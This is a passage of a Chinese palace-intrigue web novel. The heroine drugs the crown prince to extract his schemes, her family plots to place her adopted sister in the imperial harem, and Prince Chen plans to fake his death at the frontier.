酒菜很快上桌,宋砚辞一动不动,眼神带笑的看着秦时月。 秦时月故作羞涩,主动起身为他倒酒,只是,在他看不到的角度,一颗入水即化,无色无味的小药丸滑进了酒杯。 “殿下,请。”秦时月将酒杯递到宋砚辞面前,声音轻柔。 宋砚辞的嘴角勾起一抹得意的弧度,没设防,接过酒杯后一饮而尽。 酒液顺着喉咙滑下,他只觉得一阵辛辣,并未察觉到任何异样。 “好酒!”宋砚辞赞道,目光却始终停留在秦时月身上。 秦时月见状,心中暗喜,又为他倒了一杯。 “殿下,请再饮一杯,权当是时月对您的谢意。” 宋砚辞心情大好,没有丝毫怀疑,再次接过酒杯喝了下去。 一会儿他就借酒壮胆,行一些清醒时不敢行的事…… 只是,才两杯酒下肚,宋砚辞就觉得眼神有些迷离,头脑有些不清,他看着眼前变成双人的秦时月,下意识摇了摇头。 秦时月见药效上来,心里冷笑一声,淡然的捏着酒杯坐下。 这药的效果倒是不错,不愧是师傅的掌中宝。 “殿下,您醉了。”秦时月掀起眼皮看着他,轻声说道,同时,谨慎的观察着宋砚辞的反应。 宋砚辞皱着眉,迟钝片刻,木讷回应,“是,本宫醉了。” 他的身体摇晃着,一副似醉非醉的样子,只是他眼神空洞,看上去如一汪死水。 秦时月勾勾唇,微微闭眼,“我想知道殿下针对辰王的一些计划,还请殿下事无巨细的告知。” 第114章 打断施法? 宋砚辞眼神呆滞,缓缓开口,将他算计宋墨辰的计划和盘托出。 从安排人手在边关制造混乱,到安排杀手前往边关伺机动手,再到利用跟他交好的官员在朝中对宋墨辰进行弹劾。 甚至他还想到,若宋墨辰平安归来,他就安排人煽动百姓,造谣宋墨辰勾结外邦,妄图对靖垣王朝不利。 以及他打算利用皇帝对宋墨辰的忌惮,妄图引导皇帝彻底对宋墨辰失去信任,都毫无保留的说了出来。 秦时月表情平静,心中却翻起了滔天巨浪。 虽然早有猜测,但她实在是没想到宋砚辞竟然这么卑鄙。为了对付宋墨辰,他竟然布下了天罗地网。 待宋砚辞说完,她深吸口气,又接着问道,“殿下亲近时月,是打算利用时月对付辰王?” 宋砚辞嘿嘿笑了两声,口齿不清的说道,“本,本宫心悦你,只有你才配得上本宫,不过,本宫看得出来,宋墨辰那个贱种对你有情,本宫想得到你,让你成为他身边的眼线,待时机成熟,让你,在背后给他致命一击……” 秦时月的拳头不由自主的紧紧攥起,眼中闪过一丝寒芒。 好个宋砚辞,论阴险,果然没人能比得过他! 就在秦时月打算继续询问的时候,门外突然传来一道敲门声,“殿下,三公主驾到。” 宋砚辞歪歪头,眼底划过一抹挣扎和迷茫。 秦时月暗道一声不好,努力压下心底翻涌的情绪,迅速给宋砚辞递了一杯掺了解药的酒。 他刚仰头喝下,没听到回应的侍卫就猛的踹开了房门。 他们负责保护太子的安危,若宋砚辞出事,他们轻则掉脑袋,重则连累三族,所以格外谨慎,哪怕只是片刻听不到宋砚辞的回应,也会不顾一切的冲进来查看。 门被破开,侍卫和三公主一起露面。 此时宋砚辞刚服下解药,药效还没彻底发挥作用,显得有些头重脚轻,双眼迷离。 秦时月换上了一副温婉的笑容,起身行礼,“见过三公主,殿下今日心情好,多饮了几杯,臣女正打算叫人扶殿下回去休息呢。” 三公主冷笑一声,“哦?皇兄向来千杯不醉,这是喝了多少?竟然醉成这副模样?秦大小姐,你该不会是在酒里动了什么手脚吧?” 她眼神犀利,眼里是毫不掩饰的怀疑。 秦时月心中一紧,面上强装镇定,正要开口,宋砚辞却拧着眉头开口了,“凤阳?你怎么过来了?” 宋砚辞和三公主一母同胞,彼此的称呼也要亲近许多。 宋凤阳撇撇嘴,“还不是母后想你了,让我去看看你,结果你倒好,带着辰王妃来这里喝酒了。” 说着,她垂眸扫过桌上的酒菜,冷哼道,“秦大小姐点的这些菜想来很合皇兄的口味吧?” “凤阳,不得无礼。”宋砚辞捏捏发胀的太阳穴,瞪了眼出在一旁的侍卫,“还不滚出去!” 没眼力见的东西,要是坏了他的好事,他一定扒了他的皮! 宋砚辞并不知道自己将算计已经说了个七八成,见侍卫带着宋凤阳破门而入,满心不悦,正怕会给秦时月留下不好的印象,影响他的计划。 原本秦时月有些心虚,毕竟她不知三公主究竟看出了多少,打算小心应对。 谁料宋砚辞的一番话,不仅打消了宋凤阳和侍卫的疑虑,还变相的给她撑了次腰。 她垂下眸,掩盖着眼底的笑意,不过,她心里也清楚,宋砚辞之所以这样说,不过是觉得她还有利用价值。 在心里冷笑一声,再抬眸,她的脸上已经不见半点紧张,“相请不如偶遇,三公主若是还没用饭,不如坐下一起吃?” 宋凤阳气闷不已,但秦时月这句话也算给了她台阶,她要是不下,等宋砚辞发怒,她就更没脸了。 深吸口气,她努力扯出一抹浅笑,“那本公主就不客气了。皇兄不会介意吧?” 宋砚辞皱皱眉,看了眼秦时月。 见她的小脸上没有半分不悦,这才默不作声的默许了这件事。 对他来说,宋凤阳留下来没什么不妥,毕竟她们都是女孩子,比起自己,她们应该更能聊到一块儿去,这反倒更利于他接近秦时月。 一顿饭,在各怀鬼胎中吃完。 秦时月得到了自己想要的东西,吃完后没有多留,直接委婉的告辞了。 回侯府的路上,小荷总是偷偷打量她,终于,秦时月忍不住,笑问她想问什么。 小荷犹豫着,还是问出了心里的疑惑,“小姐,您和太子殿下走的这样近,若是被姑爷知道……” 秦时月小脸一红,“你这丫头真是欠打,我和辰王还没成婚,这样的称呼传出去,岂不是要坏了你家小姐的名声?” 小荷吐吐舌,没有为自己辩解。 她跟在小姐身边多年,小姐的心事她都看在眼里,她看得出来,小姐对辰王,是有感情的。 可她不知道的是,就连秦时月有时候都分不清这种感情。 秦时月是以宋墨辰腰间的玉佩为媒介重生的,所以她对宋墨辰的感情很复杂。 起初,她对他是好奇,她想要探究自己和他之间的联系。 再后来,她不自觉被吸引,在他身上,她感受到了从未有过的羁绊。 她是地狱爬回来的恶魔,只为给前世的自己一个交代,可如今,她有了在乎的人,除了复仇,她有了渴望,有了留下来的意义。 “小姐?奴婢说错了,您千万别生奴婢的气。” 见她迟迟不说话,小荷心中发慌,连忙说道。 秦时月淡笑着摇摇头,“我刚才在想事情。我同太子殿下接触,是有不得已的苦衷的,你现在不明白,等以后,你或许会有明白的一天。” 不是她信不过小荷,实在是她所谋之事太过惊世骇俗,为防万一,不能过早告诉小荷。 小荷似懂非懂的点点头,不再多问。 一到侯府,秦时月就朝自己的院子走去,刚到揽月园外,彩云就急匆匆赶到,声称长乐侯夫人有请。 第115章 撕破脸 秦时月皱皱眉,心底闪过一丝烦躁。 她今日对付宋砚辞、宋凤阳两人已经够累了,刚进家门就被截住了去路,真是烦人的厉害。 本来打算直接无视的,但想到被长乐侯夫人养在外边的秦可云,她眼珠子一转,还是让彩云在前边带路了。 暖香阁。 长乐侯夫人看着满桌珍馐有些坐立不安。 这段时间可云一看到她就哭诉,叫她这个做母亲的根本放不下。 她不是没去过定远侯府,只是不知是不是故意的,她去过两三次,两三次定远侯府都闭门不见,思来想去,这才让张嬷嬷准备了一桌饭菜,让彩云去请秦时月。 她想着,她们到底是母女,母女哪有隔夜的仇?她放下身段说几句好话,秦时月总能给她几分面子。 秦时月刚进门,长乐侯夫人连忙起身,脸上堆着讨好的笑容迎上去,“月儿,你可算来了,母亲一直盼着你呢。” 秦时月笑笑。 这是为了秦可云,要跟她表演母女情深的戏码了? 若是上一世,她一定会因为长乐侯夫人的另眼对待而高兴到冲昏了头脑,可这一世……这样的母亲,只会让她倍感恶心! 她随意找了个位置坐下,扫了眼桌上的饭菜,眉眼弯弯,“母亲今日怎么有空叫我过来?” 长乐侯夫人眼看她对自己没有半分尊重,眼神冷了冷,但还是笑着开口,“月儿这是说的什么话?咱们是母女,前些日子母亲到你外祖家养病,回来这几日也没有坐下来聊聊天。所以我想……” “所以母亲想和我叙旧?”秦时月歪着头,脸上带笑,故意不接她的话。 长乐侯夫人脸上的表情有一瞬间凝滞,回过神,咬咬下唇,有些僵硬的说道,“是。彩云,倒酒,我要与月儿喝两杯。” 秦时月似笑非笑的看着她,有那么一瞬,感觉非常厌烦,她暗叹口气,突然开口,“母亲,有什么话您就直说吧,咱们这样,您不觉得挺累的吗?” 长乐侯夫人从没想过她会这样跟自己说话。 这一刻,她突然发现,她看不懂秦时月了。 见她只是定定的看着自己并不做声,秦时月最后一丝耐心也被消磨殆尽,她突然起身,作势要往外走,“既然母亲没什么可说的,那时月就先回去了,今天陪太子殿下用餐,时月实在是有些累。” “月儿!”长乐侯夫人急了,“可云她,她前些日子被定远侯府赶出来了,如今挺着大肚子,过得不好,你看能不能看在娘的面子上……” 秦时月无力一笑,“我知道母亲的心思,可母亲似乎找错了人。秦可云害我,我可以不与她追究,可现在是太子殿下亲自下的命令,她过得好不好,我都帮不上忙。” 说出这番话的时候,秦时月是感激宋砚辞的,毕竟当初他若是抱着看戏的态度一言不发,那如今,她也不能这样明目张胆的阻止秦可云回来。 长乐侯夫人被噎了一下,脸上本来就僵硬的笑顿时有些挂不住。 但为了秦可云,她还是硬着头皮说道,“月儿,你是侯府嫡长女,又是陛下亲封的明月县主,还与辰王有婚约。你身份贵重,你就不能看在姐妹情分上,帮帮可云吗?” 秦时月在心里冷笑一声,然后抬眸,眼神凄凉的让人不敢直视,“姐妹情分?母亲是在说笑吗?她一个养女,如何与我有姐妹情分?还有,之前她是如何对我的,母亲莫不是不清楚?” “那都是过去的事了,她已经知道错了月儿,她现在真的是过不下去了,所以母亲才想着求你,或者,或者你看在母亲的面上……” “过不下去?母亲不是为她租下了城南的一处宅子,还为她安置了几个手脚伶俐的婢女,勤快的下人吗?怎么?这么多人伺候一个都伺候不明白?” 长乐侯夫人心中一惊,看向秦时月的眼神里顿时充满了震惊与慌乱,“你,你竟然派人跟踪我!?” 除了这点,她实在想不到秦时月为何能如此清楚秦可云的动向。 秦时月扯扯嘴角,丝毫不掩饰眼底的厌烦,“我只是关心侯府的未来。母亲既然这么心疼她,为何不亲自过去照顾?” 长乐侯夫人脸色铁青的张了张嘴,想说什么却又说不出口。 她是想过去亲自照顾的,但那样一来,秦可云就永远回不来,永远得不到侯府的庇佑。而且,秦可云的事一旦闹大,定远侯府那边怕是更容不下她…… “母亲若是没别的事,女儿就先走了,今日实在是乏了。”秦时月如何不明白长乐侯夫人的算计?不过,与她何干? 说着,她转身向外走去。 长乐侯夫人见状,赶忙上前拉住她的衣袖,“月儿,你就帮帮母亲吧,母亲求你了,母亲不是不爱你,实在是,实在是可云命格特殊,只有她在侯府待着,侯府才能平安昌盛。你父兄才会官运亨通。” 说着,她竟开始声泪俱下,“母亲知道这些年亏欠了你,只要你答应帮可云,母亲以后一定好好补偿你,什么都依你!” 秦时月没有挣开她的手,只是声音透着让人绝望的冰冷,“母亲还是另想办法吧,女儿真的无能为力。” 说罢,她头也不回的走出了暖香阁。 长乐侯夫人看着她离去的背影,面色一变再变,最后却只能无助的掩面痛哭,“毁了,全毁了……” 她早知道秦时月就是那个灾星,她早该在听到得道高僧的话后斩断她和秦时月的这段孽缘,可就因为秦时月是她身上掉下来肉,她不忍心下手,这才助纣为虐,将这个灾星培养到这样强大。 怪她,都怪她! 长乐侯夫人满脸悔恨,眼泪更是不要钱般扑簌簌往外冒。 张嬷嬷实在是不忍心看她这副模样,抿抿唇,说道,“夫人,当年既然高僧能勘破天机,说不定,已经看到了如今的景象,不如,咱们想想办法,哪怕多花些钱,找找那位高僧?” 第116章 宋墨辰做出决定 长乐侯夫人被她已提醒,眼前顿时一亮。 她胡乱擦擦眼泪,不断点头,“对对对,你说的对,张嬷嬷,这件事我交给你亲自办,记住,无论付出怎样的代价,一定要找到高僧!” 张嬷嬷心里叫苦。 过了这么多年,她到哪里去找人啊? 不过,看着长乐侯夫人疯狂的神色,她只能应下,不敢多说半个字,生怕给自己招来灾祸。 边关。 “王爷!”侍书匆匆进帐,进门行礼后,立刻将手上的书信双手呈上,“这是京中加急送来的信,是梁斌亲自送来的,他此时就在帐外。” 宋墨辰正低头玩着沙盘,听到这话,直起身子,伸手接过书信。 展开后,看到里边寥寥几句,再寻常不过的信,忍不住皱了皱眉头。 想到什么,他抬眸看向侍书,“叫梁斌进来。” 梁斌是母后的人,若非特殊情况,时月绝不会让他来边关。 不多时,梁斌大步走进营帐,单膝跪在地上,“王爷!属下奉大小姐之命过来。” 他不动声色的将帐内情况收入眼底,在确定没有外人后,才将目的说出来,“京中局势微妙,大小姐让我给您带个话,太子殿下有所谋划,应该已经动手,她担心王爷的安危,让属下转告王爷,还请尽早筹谋。” 宋墨辰怔愣一下,眼底闪过一丝柔情。 他到边关半月,半月来处理了大大小小的琐碎事不下数十件,可就像他一开始猜想的那样,这些事,根本不足以将他派过来处理,当时他就知道这些事少不得有皇帝和宋砚辞的手笔。 而就在前几日,他竟遭遇了两次刺杀。 若不是他武功高强,又早有防备,此时说不定已经被对方得手了。 想到被关起来的几个刺客,宋墨辰眸光一冷,“本王这边无事发生,你即刻返回京城保护好时月,务必保证她的安全。至于太子那边,你不用理会,本王自有安排。” 梁斌顿了一下,心中对宋墨辰的城府一阵钦佩。 他领命退下,转身出了营帐,快马加鞭朝着京城赶去。 宋墨辰妥帖的收好信件,然后才将目光再次投向沙盘。 宋砚辞想借此让他魂归边关,父皇想借机收回他的兵权。 既然他们都想分杯羹,那他不如放长线钓大鱼,坐山观虎斗! 想到这,宋墨辰冷哼一声,抬眸召侍书进帐。 “王爷。” “本王镇守边关多年,保靖垣平安数载,也是时候让靖垣从新洗牌了。” 侍书听罢眼前一亮,忙抱拳恭敬等候命令。 太好了!王爷终于想明白了。 他们这些做部下的跟着宋墨辰出生入死多年,早就有拥立的心思。 不是为了升官发财,只是明白,只有宋墨辰才能给靖垣王朝未来,只有他才是真正的心系百姓。 “传我命令,将我的死讯传回京,传进北诏,越真实越好。” 侍书怔愣一下,皱着眉头疑惑问到,“王爷,您怎么咒自己啊?” 他家王爷权势滔天,就是率大军进城,皇帝老儿也只能夹道欢迎,绝不会当场翻脸,他实在想不通王爷为什么如此谨慎。 宋墨辰勾着嘴角,眼神凌厉,“我刚才说了,靖垣这些年太过平安,以至于高位者忘记了,这些年的平安是谁赋予的。而且,只有我‘死’高高在上的那些人才肯下来,亲自督战。” 宋墨辰声音低沉,眼底带着一丝疯狂。 他假死设套,为的是引诱老皇帝或宋砚辞,至于边关的百姓,他会尽可能保证他们免受战乱之苦。 侍书听后,虽然心存担忧,但看着自家王爷尽在掌握的眼神,还是重重的点了点头,“王爷放心,属下定将此事办的滴水不漏。” 说完,他恭敬退下,着手去安排散步“王爷死讯”的事情。 宋墨辰再次看向沙盘,眼神如炬,轻轻扫过那些代表着城池与军队的标识。 这是一步险棋,若能引蛇出洞,靖垣王朝会被彻底洗牌。但稍有不慎,他便会满盘皆输。 可如今他为刀俎我为鱼肉,再犹豫,他就只有被宰割的份! 城南。 秦时月已经知道长乐侯夫人的一举一动,她干脆不再藏着掖着,光明正大的推开了眼前的院门。 里边的人听到动静,立刻迎了过来,认出来人,纷纷请安。 “可云呢?” “二小姐闭门不出,今日一天没用饭了。” 小喜满脸愁容。 她还指着秦可云翻身,自己跟着享福呢,如今秦可云这样担不住事,她只怕秦可云撑不到生产…… “胡闹!”长乐侯夫人皱皱眉,抬脚往屋子走去,边走边吩咐,让他们去准备些秦可云平日里爱吃的。 院子忒小,刚说完,她就来到了门口。 里边的秦可云听到动静,眼里浮现出一丝光彩。 如今她被定远侯府休弃,若再没了长乐侯府的庇佑,她定然走不长远,所以,长乐侯夫人现在是她唯一的救命稻草,她必须紧紧握住! “可云。”长乐侯夫人一进门就心疼的喊了一声。 回应她的,是秦可云虚弱的闷哼。 “你这孩子,你这不是要娘的命吗?”长乐侯夫人顿时眼眶泛红,紧走两步,“傻孩子,娘不是告诉过你,娘会为你想办法的,你只需要安心养胎,等娘的消息就是……” “可云知道娘亲在为可云奔波,可是,可云撑不住了。如今京中到处都是可云的流言蜚语,可云很想侍奉在娘身边,但,但可云实在没脸……” 秦可云一口气说了这么多,气息顿时不稳,脸色也更白了。 长乐侯夫人心疼不已,伸出手,正要将她抱进怀里好好安抚,谁料下一秒,房门被人猛的推开,发出砰的一声闷响。 长乐侯夫人被气的脸色一变,“放肆!不知道本夫人在跟二小姐……” “卓氏,你好大的架子啊。” 长乐侯夫人话没说完,一道年迈又威严的声音响起。 她心中一惊,一回头,就看到了一个全身罩在黑色斗篷里的老妇人。 她脸色大变,忙起身行礼,“婆母。” 第117章 老虔婆出主意 该死,老夫人怎么来了?这些个做下人的竟然如此没眼力见。 幸好她没在背后谈论老夫人,否则被她抓个正着,她这个侯府夫人的位置怕是真的要做到头了。 秦可云野被突如其来的老夫人吓了一跳。 她出阁前在侯府受尽万千宠爱,但见到老夫人的机会少之又少,对老夫人的性子更是摸不透,所以对她总有种说不清道不明的恐惧。 她眼神闪烁,唯唯诺诺的请安。 看到她这副上不得台面的样子,老夫人冷哼一声,在刘嬷嬷的搀扶下缓步走到桌边坐下,“起来吧。” 坐下后,她才掀着眼皮打量起这间房子,以及秦可云。 比起上次见她,她的脸色难看了不少,也消瘦了不少。 虽然不能跟做姑娘的时候比,不过,倒是比先前肥猪一样的面容看上去顺眼了些。 “不知婆母今日来,所为何事?” 长乐侯夫人生怕她是来找事的,毕竟上次,这个老不死的就是让她的可云背的锅! “我今日来是来找可云的。”老夫人说着,看向了秦可云,“可云,祖母知道上次你受委屈了,你可怨恨祖母?” 她多番打听才打听到秦可云被休弃后被卓氏藏了起来,若不是她命人跟着,只怕到现在都找不到秦可云的藏身之处。 在这点上,她是佩服卓氏的。 可惜啊,卓氏到底是个后宅妇人,格局太小。 “可云不敢。”秦可云不知她的来意,当即被吓的浑身哆嗦,生怕她是来灭口的。 她绝食是为了激发长乐侯夫人的斗意,是为了能尽快回到侯府,可不是真的活够了寻死的…… “祖母就知道你是个好孩子。”老夫人勾勾唇,眼底透着一丝精光,“可云,你可想过日后该怎么过活?” 此话一出,长乐侯夫人和秦可云心中警铃大作。 秦可云满脸惶恐,哆哆嗦嗦的说不出半个字。 长乐侯夫人也是又惊又怕,紧抿着唇,攥紧拳头,努力扯出一抹僵硬的浅笑,“婆母,儿媳已经给可云想好了,待她生下孩子,儿媳会带着孩子去定远侯府说情,看在孩子的份上,他们总不能……” “是个法子,可你想过没有?可云生下的若是男孩,或许会母凭子贵被接回去,但就算被接回去,也还是个上不得台面的姨娘。若是生下个不值钱的丫头……” 此话一出,秦可云脸色瞬间惨白一片。 老夫人说的对,这也是这段时间她在挣扎的事情,也是她为什么会迫不及待的想要回到长乐侯府的原因。 得长乐侯府庇佑,她将来即便不能寻个门当户对的,但总归可以寻个好人家。 可若是没了长乐侯府的庇佑,便是最下等的人家也不会要她这样的残花败柳。 长乐侯夫人攥紧拳头,眼里明显多了一分不悦,“儿媳不会放弃可云,不论以后如何,儿媳都会护佑她和孩子!” 秦可云怔愣一下,心里有什么似乎被触动。 她在长乐侯府做姑娘时,对她最好的,莫过于眼前的夫人,可即便他们对她再好,她心里也明白,她不过是个替代品,所以处处小心谨慎,就怕被厌弃,被赶出侯府,所以,从来没有对他们付出过真心。 可这一刻,她是真的被感动了。 “卓氏,你如今多大的年纪了?怎么还如此幼稚?”老夫人冷哼一声,有些瞧不上她们。 不过,接下来的计划离了她们又不成,在心里拉扯一下,故作无奈说道,“我今日来,是为可云寻出路来的,你们也不想一辈子抬不起头做人,被秦时月压一头吧?” 秦可云一听,眼中闪过一丝希望,有些不敢置信的抬头看向老夫人。 “我有个主意,只要可云点头,不仅能扭转局面,还能让可云的未来富贵无双。” “祖母请说,可云愿意配合!”秦可云已经走投无路了,有机会翻身,她立刻急不可耐的答应。 可长乐侯夫人还是有些犹豫。 “好孩子。”老夫人撇了眼长乐侯夫人,眼里闪过一丝轻蔑,然后回过神,看着秦可云道,“如今陛下正在选秀女,宫里也有祖母认识的人,到时候使些银子,可云一定能被留下,到时候,你只要使出浑身解数留住皇帝,未来封妃,指日可待。” “这……” “婆母,可云还怀着孩子,况且,她虽然是妾的身份进的定远侯府,但她和陆明昭的事京中几乎无人不知,这种情况下,可云怎么可能进得了宫啊?” “糊涂,如今月份还不大,只要想想办法去掉这个累赘就是了,至于她和陆明昭的事就更简单了,换个名换个姓,再使些银子,谁能知道她是定远侯府曾经的秦姨娘?只要可云进了宫,再想法子让陛下对她青睐有加,她的好日子在后头。”老夫人一阵算计。 只要一切按照她的筹谋来,前朝、后宫,都将会是她秦家的天下! 若不是秦可云肚子里的孽种实在是月份太大,她甚至可以想办法,让这个孽种成为皇子…… 秦可云听着老夫人的话,心中一阵激动,仿佛看到了自己身着华服,在宫中呼风唤雨的场景。 她咬咬牙,坚定的看着老夫人道,“祖母,可云愿意一试,请祖母垂怜,为可云安排!” 她看出来了,就算长乐侯夫人是真心实意的为她好的,可她能力有限,对自己的帮助也实在不大,想要博一个未来,还得仰仗祖母! 等她成为一人之下万人之上的妃子乃至贵妃,她会将秦时月踩在脚下,让她尝尝万人骑的滋味! 长乐侯夫人心里有些担忧,但是见秦可云心意已决,又觉得老夫人的话有几分道理,犹豫再三,最终还是点了点头,“既然如此,就听婆母安排吧。” 揽月园。 秦时月翻看着京中最新的画本子,慵懒的喝着茶,表情淡然的听着暗卫的汇报。 梁斌离开后,和影夜一起来的暗卫立刻有人顶上,所以,侯府的一切仍旧在秦时月的掌控中。 第118章 尽在掌握 “哦?祖母今日去看了秦可云?”秦时月眸光微闪,里边带着几分戏谑。 还以为经过上次的事,他们能看明白如今的局势,能安分些,没想到呀…… “大小姐,需要属下去处理吗?” “不必,她们折腾不起大风浪,我现在好奇的是她们会用什么办法对付我。” 日子太过无聊,让她们折腾折腾,就算给她这百无聊赖的日子添点精彩。 暗卫皱皱眉,有些犹豫。 作为下属,他不能多言,可大小姐这样优柔寡断的性子,保不齐哪天会吃大亏。 “你安排一个人盯紧秦可云那边,事无巨细,我都要知道,至于你,盯紧家里,尤其是我祖母和我母亲那边。记住,我不喜欢事情超脱控制的感觉。” 暗卫身体一僵,猛的低下头,“是,属下明白。” 他真是可笑,刚才竟然还觉得大小姐优柔寡断…… 暗卫退出去后,她又将目光投向了手中的画本子,这画本子上的故事可精彩多了。 不知过了多久,秦时月合上书起身活动一下,正要去铺子里看看,就听门外传来一阵说话声。 她跟着东方苑学的时间不短,耳力算是不错的,她瞬间反应过来,来者是皇后身边的绘春。 很快,小荷就引着绘春进来了,“姑姑请进。” 绘春朝小荷点头示意一下,见到秦时月,才面露笑脸的见了个礼,“小姐,娘娘想您了,特意让我过来请您进宫一聚。” 秦时月回个礼,笑道,“我本想着明日去看望娘娘的。那您等我一下,我去收拾收拾再出发。” 如今她和皇后的关系很是亲近,私下见面根本不需要特别打扮,所以绘春下意识就想阻拦,但她话还没出口,秦时月已经走到了衣柜前。 下一秒,在绘春的注视下,秦时月捧出了一个造型精美的木匣子。 她嘴角带笑,这才反应过来,原来,秦大小姐给娘娘备了礼物,要是她没猜错,应当是大小姐新设计的首饰。 要知道,明月芳华出品必是精品,是京中贵妇圈争相追捧的东西,尤其秦时月亲自设计的,更是千金难求。 看到她如此有心,绘春说不出的高兴。 坤宁宫。 皇后正与皇帝下棋,棋面看上去不分伯仲,实则形势胶着。 就在这时,绘春带着秦时月走了进来,看到屋内的场景,秦时月连忙行礼。 皇帝抬眸看了一眼,眼底闪过一丝凌厉,但脸上却多了一丝笑意,“皇后,看来这局棋得先放一放了,时月丫头一来,你怕是心思就不在这棋局上咯。” 皇后嗔怪的看了皇帝一眼,抬手招呼秦时月过来,然后一把拉住她的手,亲昵道,“陛下可别打趣我了,时月许久不来看我,我自然是想念得紧。” 秦时月笑笑,连忙将手中木匣子呈上,“娘娘,这是我新设计的首饰,想着您应该会喜欢,便给您带来了。” 皇后正要接过匣子,皇帝话里有话的说道,“朕早就听闻时月开办了自己的铺子,还听说你设计的东西很受欢迎,怎么?今日就只给皇后带了礼物?没有贵妃的吗?” 他表面在打趣,实则在试探、提醒。 如今皇后、辰王与秦时月的关系是他心中的一根刺,他想看看秦时月会如何回复自己,若她一心只有皇后……那他绝没有留下她的道理! 秦时月心中一凛,立刻猜到了皇帝的意图。 她在心里计较一番,然后一脸恭谨的开口,“贵妃娘娘凤仪万千,时月有心结交,也早就准备好了礼物,只是时月怕贸然过去会令娘娘不悦,所以此次前来并没有带多余的礼物,若是陛下肯从中搭桥,时月这便出宫去取礼物。” 她的话滴水不漏,却让皇帝狠狠皱起了眉头。 这样聪明,口角伶俐,又会做生意的丫头,未来必成大患! 皇帝心思才动,皇后就有所察觉。 她在心里冷笑一声,故作玩笑的开口,“陛下,阮妹妹要什么好东西您不赏赐?您还要为这点事情向咱们的儿媳开口,传出去也不怕人笑话。” 只一句“咱们的儿媳”,皇帝的表情就变了,眼神也和蔼了许多。 他不是不疼爱宋墨辰,要说,宋墨辰身为嫡子,曾经也是日日骑在皇帝身上,受尽万千宠爱的,可自从他手握兵权镇守边关,他的声望一日比一日高,如今朝臣对他,更是寄予厚望。 他是一国之君,声望却不如一个辰王,这让他颜面尽失,也让他对宋墨辰生出了许多不满。 当然,若宋墨辰能主动交出兵权、虎符,他这个做父皇的,倒也不是非要赶尽杀绝,毕竟,他是君,也是父。 皇帝哈哈一笑,试图化解紧张的气氛,“皇后说的是,倒是朕小家子气了。” 秦时月暗暗松了口气,面上依旧维持着恭敬的笑容。 她深知在这皇宫之中,一言一行都关乎生死,稍有不慎便会陷入万劫不复之地。 皇后打开木匣子,看到里边精美的首饰,眼中满是惊喜。 那首饰设计的巧夺天工,宝石镶嵌的恰到好处,每处细节都彰显着秦时月的才华和用心。 “这首饰本宫实在喜欢,陛下也看看?”皇后爱不释手,却没忘记给皇帝台阶。 皇帝心里虽然还是抱有怀疑的梯度,但还是做样子般凑近看了看,只有眼底闪过一丝不易察觉的阴霾。 几人有一搭没一搭的说了会话,绘春进来请示何时开膳。 秦时月有自知之明,绘春话音刚落,她就打算告辞,可她还没开口,皇后就一脸娇羞的看向皇帝,问道,“陛下今日可在坤宁宫用午膳?” “不了,朕还有些折子没有批,明日吧,明日朕来陪皇后用膳。” 话落,他身边的大太监突然扯开嗓子喊道,“起驾~” 皇帝离开后,皇后冷哼一声,拉着秦时月坐到了桌前。 “娘娘……” “他走了才好,他走了,咱们才能说的随心所欲。” 皇后笑笑,给了绘春一个眼神,绘春立刻明白,点头退出去,将所有宫人遣退了出去。 第119章 交浅言深?还是试探? “娘娘?”秦时月心里有所感应,眉头微拧,疑惑的看向皇后。 “时月,本宫今日叫你进宫,也不全是为了一顿饭。”她拉着秦时月的手,说着,扫了眼紧闭的房门,然后才继续,“辰儿给本宫来信了。” 秦时月眨巴一下眼,怔怔的点点头。 想来是和她那封信一起到京城的。 只是,按照宋墨辰的性子,怕是两封信的内容不会差太多,都是报喜不报忧的那种…… “他在信中说,京中情势复杂,需要让本宫运作起来,这两日本宫一直在联络朝臣,为辰儿的事做安排,所以没见你。如今都安排妥当了,所以今日才让绘春唤你进宫。” 秦时月双眼圆睁,小脸上尽是不敢置信。 后宫不得干政,联络朝臣这等大事,皇后竟然会轻易的告诉她? 这不得不让她心生怀疑。 是太过信任,真将她当做了自己人,还是……对她的试探,看看她会不会揭发…… “时月。”皇后大概能猜到秦时月小脑袋里的想法,笑笑,拍了拍她的手背,“你舍命救本宫一命,本宫早就拿你当自己的孩子了,更何况,你和辰儿还有婚约在身,本宫相信,你绝不会背叛辰儿。” 皇后说的是,秦时月不会背叛宋墨辰,而不是背叛她。 秦时月垂眸沉默了一瞬。 皇后娘娘太看得起她了,她的确不会背叛宋墨辰,但细说原因,也只是因为她的回归,全靠宋墨辰,所以,她对他的感情有些复杂,但更多的,是感激。 “时月,本宫今日跟你说这些,是希望你也早做打算。”皇后慈爱的看着她,“本宫知道你是个聪明孩子,很多事不需要本宫提醒,但辰儿与本宫如今要做的事太危险,一个不留信,便是万丈深渊,所以……” 她犹豫一下,还是说出了心里的想法,“所以,如果你想要退婚,本宫会成全你。” 这番话一出,秦时月突然勾唇笑了。 皇后待她以诚,宋墨辰对她又有“救命”的恩德,最重要的是,他们给了她足够的温暖与她从未体会过的亲情,她也早将他们当做了家人,她又怎么会离开他们呢? “娘娘,您这是说的哪里话。”秦时月抬眸,目光坚定,眼含笑意,“娘娘待时月如亲女,时月对辰王又……爱慕有加,我怎会在这关键时刻退缩?您和辰王既已认定了这条路,时月跟着便是,不论前路如何艰险,时月都愿与辰王、与娘娘共进退。” 皇后心中感动,轻轻拍了拍秦时月的手,“好孩子,有你这句话本宫便放心了。只是此事重大,你日后千万要谨慎行事。如今陛下对辰儿心存猜忌,咱们每一步都得小心翼翼。” 她最不放心的是,秦时月身边只有梁斌一个暗卫,真要是出事,只怕梁斌一人顾不过来。 想到这,她决定一会秦时月离宫的时候再给她配上几名暗卫,务必保她周全。 “娘娘放心,时月明白。”秦时月微微颔首,随后皱着眉头道,“娘娘,虽然时月身在后宅,能做的并不多,但若是有需要时月的地方,还请娘娘尽管吩咐。” 皇后,“好孩子。其余的事进展还算顺利,只是仍有部分朝臣摇摆不定,需想办法拉拢。问题是,宫中有陛下和太子安插的眼线,本宫行事诸多不便……” 秦时月秀眉微蹙,思索一番后道,“宫中的事时月帮不上忙,但我在京中的贵妇圈也算有些名声,若能与她们交好,说不定能间接影响到那些朝臣的决定。” “对呀,本宫怎么忘了时月的本事。”皇后眼前一亮。 她的明月芳华如今正风靡一时,受京中贵妇人追捧,虽说后宅的女人也不一定能翻起什么风浪,但有些男人就是天生的惧内,到时候吹吹枕边风,说不定真的有用。 皇后拉着秦时月,越看越喜欢。 秦时月简直就是上天赐给她和辰儿的宝贝,不论此事成不成,她都一定会保住秦时月! 两人吃过饭,又在饭桌上聊了些趣事,秦时月这才准备离宫。 